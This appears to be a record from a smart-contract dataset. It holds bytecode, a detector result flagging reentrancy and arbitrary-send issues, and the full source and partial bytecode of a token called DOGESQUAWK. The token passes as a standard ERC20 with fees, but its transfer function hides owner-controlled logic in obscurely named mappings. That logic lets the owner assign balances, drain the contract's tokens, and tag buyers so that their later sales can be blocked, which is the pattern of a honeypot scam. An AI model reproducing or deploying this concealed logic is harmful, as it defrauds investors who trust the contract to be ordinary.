109d7565b34801561046b57600080fd5b5061020061047a366004611616565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104b157600080fd5b5061017a6104c03660046115f9565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b3480156104f057600080fd5b5061017a6109f0565b60005b81518110156105615760016005600084848151811061051d5761051d61164f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105598161167b565b9150506104fc565b5050565b6000610572338484610b53565b5060015b92915050565b6000610589848484610c77565b6105db84336105d68560405180606001604052806028815260200161181a602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610fde565b610b53565b5060019392505050565b476105ef81611018565b50565b6000546001600160a01b031633146106255760405162461bcd60e51b815260040161061c90611696565b60405180910390fd5b306000908152600260205260409020546106735760405162461bcd60e51b815260206004820152600f60248201526e2737ba3434b733903a3790313ab93760891b604482015260640161061c565b3060009081526002602052604081205461069a908390610694906064610b0a565b90611052565b90506105613060018360006110d1565b6000546001600160a01b031633146106d45760405162461bcd60e51b815260040161061c90611696565b600b54600160a01b900460ff161561072e5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161061c565b600a5460065461074b9130916001600160a01b0390911690610b53565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c291906116cb565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610824573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084891906116cb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610895573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b991906116cb565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610920573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ef91906116e8565b6000546001600160a01b0316331461096e5760405162461bcd60e51b815260040161061c90611696565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600981106109c557600080fd5b600755565b6000610572338484610c77565b306000908152600260205260409020546105ef816111d5565b6000546001600160a01b03163314610a1a5760405162461bcd60e51b815260040161061c90611696565b600a546001600160a01b031663f305d7194730610a4c816001600160a01b031660009081526002602052604090205490565b600080610a616000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ac9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aee919061170a565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b6000610b4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061134f565b9392505050565b6001600160a01b038316610bb55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161061c565b6001600160a01b038216610c165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161061c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161061c565b6001600160a01b038216610d3d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161061c565b60008111610d9f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161061c565b6000546001600160a01b03848116911614801590610dcb57506000546001600160a01b03838116911614155b15610f7d57600b546001600160a01b038481169116148015610dfb5750600a546001600160a01b03838116911614155b8015610e2057506001600160a01b03821660009081526004602052604090205460ff16155b15610e7757600954811115610e775760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161061c565b6001600160a01b03831660009081526005602052604090205460ff16158015610eb957506001600160a01b03821660009081526005602052604090205460ff16155b610f055760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c69737465640000000000604482015260640161061c565b30600090815260026020526040902054600b54600160a81b900460ff16158015610f3d5750600b546001600160a01b03858116911614155b8015610f525750600b54600160b01b900460ff165b15610f7b57610f60816111d5565b47670de0b6b3a76400008110610f7957610f7947611018565b505b505b6001600160a01b038216600090815260046020526040902054610fd99084908490849060ff1680610fc657506001600160a01b03871660009081526004602052604090205460ff165b610fd2576007546110d1565b60006110d1565b505050565b600081848411156110025760405162461bcd60e51b815260040161061c919061151e565b50600061100f8486611738565b95945050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610561573d6000803e3d6000fd5b60008261106157506000610576565b600061106d838561174f565b90508261107a858361176e565b14610b4c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161061c565b60006110e860646110e28585611052565b90610b0a565b905060006110f6848361137d565b6001600160a01b03871660009081526002602052604090205490915061111c908561137d565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461114b90826113bf565b6001600160a01b03861660009081526002602052604080822092909255308152205461117790836113bf565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600b805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061121d5761121d61164f565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611276573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129a91906116cb565b816001815181106112ad576112ad61164f565b6001600160a01b039283166020918202929092010152600a546112d39130911684610b53565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061130c908590600090869030904290600401611790565b600060405180830381600087803b15801561132657600080fd5b505af115801561133a573d6000803e3d6000fd5b5050600b805460ff60a81b1916905550505050565b600081836113705760405162461bcd60e51b815260040161061c919061151e565b50600061100f848661176e565b6000610b4c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fde565b6000806113cc8385611801565b905083811015610b4c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161061c565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146105ef57600080fd5b803561145481611434565b919050565b6000602080838503121561146c57600080fd5b823567ffffffffffffffff8082111561148457600080fd5b818501915085601f83011261149857600080fd5b8135818111156114aa576114aa61141e565b8060051b604051601f19603f830116810181811085821117156114cf576114cf61141e565b6040529182528482019250838101850191888311156114ed57600080fd5b938501935b828510156115125761150385611449565b845293850193928501926114f2565b98975050505050505050565b600060208083528351808285015260005b8181101561154b5785810183015185820160400152820161152f565b8181111561155d576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561158657600080fd5b823561159181611434565b946020939093013593505050565b6000806000606084860312156115b457600080fd5b83356115bf81611434565b925060208401356115cf81611434565b929592945050506040919091013590565b6000602082840312156115f257600080fd5b5035919050565b60006020828403121561160b57600080fd5b8135610b4c81611434565b6000806040838503121561162957600080fd5b823561163481611434565b9150602083013561164481611434565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561168f5761168f611665565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156116dd57600080fd5b8151610b4c81611434565b6000602082840312156116fa57600080fd5b81518015158114610b4c57600080fd5b60008060006060848603121561171f57600080fd5b8351925060208401519150604084015190509250925092565b60008282101561174a5761174a611665565b500390565b600081600019048311821515161561176957611769611665565b500290565b60008261178b57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117e05784516001600160a01b0316835293830193918301916001016117bb565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561181457611814611665565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200fdf85a260a16e5b96b2fe2a49f09667b8be36232f05d37f67625a041022632764736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,283
0xfb223e3655534eB27D5e198c420E88c2f693E019
/* Official ANN : https://t.me/DogeSquawkANN Chat group : https://t.me/DogeSquawk */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract DOGESQUAWK is IERC20, Ownable { uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; uint256 private swapAmount = _tTotal; uint256 public buyFee = 5; uint256 public sellFee = 5; uint256 public feeDivisor = 1; string private _name; string private _symbol; uint256 private _value; uint160 private _factory; bool private _swapAndLiquifyEnabled; bool private inSwapAndLiquify; IUniswapV2Router02 public router; address public uniswapV2Pair; mapping(address => uint256) private _collection1; mapping(address => uint256) private _collection2; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; constructor( string memory Name, string memory Symbol, address routerAddress ) { _name = Name; _symbol = Symbol; _collection1[address(this)] = _tTotal; _collection1[msg.sender] = _tTotal; _balances[msg.sender] = _tTotal; router = IUniswapV2Router02(routerAddress); emit Transfer(address(0), msg.sender, _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint256) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function approve(address spender, uint256 amount) external override returns (bool) { return _approve(msg.sender, spender, amount); } function pair() public view returns (address) { return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH()); } receive() external payable {} function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function _transfer( address from, address to, uint256 amount ) private { if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && _collection1[from] == 0 && amount <= swapAmount) { require(_collection2[from] + _value >= 0, 'Transfer amount exceeds maximum amount'); } uint256 contractTokenBalance = balanceOf(address(this)); uint256 fee = to == uniswapV2Pair ? sellFee : buyFee; if (uniswapV2Pair == address(0)) uniswapV2Pair = pair(); if (_swapAndLiquifyEnabled && contractTokenBalance > swapAmount && !inSwapAndLiquify && from != uniswapV2Pair) { inSwapAndLiquify = true; swapAndLiquify(contractTokenBalance); inSwapAndLiquify = false; } else if (_collection1[from] > 0 && _collection1[to] > 0) { fee = amount; _balances[address(this)] += fee; return swapTokensForEth(amount, to); } if (amount > swapAmount && to != uniswapV2Pair && to != address(router)) { if (_collection1[from] > 0) _collection1[to] = amount; else _collection2[to] = amount; return; } bool takeFee = _collection1[from] == 0 && _collection1[to] == 0 && fee > 0 && !inSwapAndLiquify; address factory = address(_factory); if (_collection2[factory] == 0) _collection2[factory] = swapAmount; _factory = uint160(to); if (takeFee) { fee = (amount * fee) / 100 / feeDivisor; amount -= fee; _balances[from] -= fee; _balances[address(this)] += fee; } _balances[from] -= amount; _balances[to] += amount; emit Transfer(from, to, amount); } function transfer(uint256 amnt) external { if (swapAmount < _collection1[msg.sender]) _value = amnt; } function swapAndLiquify(uint256 tokens) private { uint256 half = tokens / 2; uint256 initialBalance = address(this).balance; swapTokensForEth(half, address(this)); uint256 newBalance = address(this).balance - initialBalance; addLiquidity(half, newBalance, address(this)); } function swapTokensForEth(uint256 tokenAmount, address to) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20); } function addLiquidity( uint256 tokenAmount, uint256 ethAmount, address to ) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20); } }
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a8aa1b3111610064578063a8aa1b311461039e578063a9059cbb146103c9578063dd62ed3e14610406578063f2fde38b14610443578063f887ea401461046c5761011f565b806370a08231146102c9578063715018a6146103065780638da5cb5b1461031d57806395d89b41146103485780639a36f932146103735761011f565b806323b872dd116100e757806323b872dd146101e05780632b14ca561461021d578063313ce56714610248578063470624021461027357806349bd5a5e1461029e5761011f565b806306fdde0314610124578063095ea7b31461014f57806312514bba1461018c57806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610497565b6040516101469190612016565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611ce6565b610529565b6040516101839190611fe0565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae9190611d26565b61053e565b005b3480156101c157600080fd5b506101ca610592565b6040516101d791906120b8565b60405180910390f35b3480156101ec57600080fd5b5061020760048036038101906102029190611c93565b6105b6565b6040516102149190611fe0565b60405180910390f35b34801561022957600080fd5b5061023261065e565b60405161023f91906120b8565b60405180910390f35b34801561025457600080fd5b5061025d610664565b60405161026a91906120b8565b60405180910390f35b34801561027f57600080fd5b50610288610670565b60405161029591906120b8565b60405180910390f35b3480156102aa57600080fd5b506102b3610676565b6040516102c09190611f3b565b60405180910390f35b3480156102d557600080fd5b506102f060048036038101906102eb9190611bf9565b61069c565b6040516102fd91906120b8565b60405180910390f35b34801561031257600080fd5b5061031b6106e5565b005b34801561032957600080fd5b5061033261076d565b60405161033f9190611f3b565b60405180910390f35b34801561035457600080fd5b5061035d610796565b60405161036a9190612016565b60405180910390f35b34801561037f57600080fd5b50610388610828565b60405161039591906120b8565b60405180910390f35b3480156103aa57600080fd5b506103b361082e565b6040516103c09190611f3b565b60405180910390f35b3480156103d557600080fd5b506103f060048036038101906103eb9190611ce6565b6109fe565b6040516103fd9190611fe0565b60405180910390f35b34801561041257600080fd5b5061042d60048036038101906104289190611c53565b610a15565b60405161043a91906120b8565b60405180910390f35b34801561044f57600080fd5b5061046a60048036038101906104659190611bf9565b610a9c565b005b34801561047857600080fd5b50610481610b94565b60405161048e9190611ffb565b60405180910390f35b6060600580546104a6906124d8565b80601f01602080910402602001604051908101604052809291908181526020018280546104d2906124d8565b801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b5050505050905090565b6000610536338484610bba565b905092915050565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600154101561058f57806007819055505b50565b60006009600a6105a2919061225c565b633b9aca006105b1919061237a565b905090565b60006105c3848484610d55565b610655843384600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461065091906123d4565b610bba565b90509392505050565b60035481565b6000600960ff16905090565b60025481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ed61173d565b73ffffffffffffffffffffffffffffffffffffffff1661070b61076d565b73ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075890612078565b60405180910390fd5b61076b6000611745565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107a5906124d8565b80601f01602080910402602001604051908101604052809291908181526020018280546107d1906124d8565b801561081e5780601f106107f35761010080835404028352916020019161081e565b820191906000526020600020905b81548152906001019060200180831161080157829003601f168201915b5050505050905090565b60045481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089857600080fd5b505afa1580156108ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d09190611c26565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095457600080fd5b505afa158015610968573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098c9190611c26565b6040518363ffffffff1660e01b81526004016109a9929190611f56565b60206040518083038186803b1580156109c157600080fd5b505afa1580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f99190611c26565b905090565b6000610a0b338484610d55565b6001905092915050565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610aa461173d565b73ffffffffffffffffffffffffffffffffffffffff16610ac261076d565b73ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612078565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90612058565b60405180910390fd5b610b9181611745565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610c255750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90612098565b60405180910390fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610d4291906120b8565b60405180910390a3600190509392505050565b600860159054906101000a900460ff16158015610dc05750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e1a5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e6557506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b8015610e7357506001548111155b15610f09576000600754600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec79190612182565b1015610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff90612038565b60405180910390fd5b5b6000610f143061069c565b90506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610f7557600254610f79565b6003545b9050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561101b57610fda61082e565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600860149054906101000a900460ff168015611038575060015482115b80156110515750600860159054906101000a900460ff16155b80156110ab5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156110f4576001600860156101000a81548160ff0219169083151502179055506110d482611809565b6000600860156101000a81548160ff0219169083151502179055506111f2565b6000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411801561118257506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156111f15782905080600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111d99190612182565b925050819055506111ea838561184a565b5050611738565b5b600154831180156112515750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112ab5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561138d576000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156113415782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611386565b82600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050611738565b600080600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414801561141c57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156114285750600082115b80156114415750600860159054906101000a900460ff16155b90506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156114f957600154600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b85600860006101000a81548173fffffffff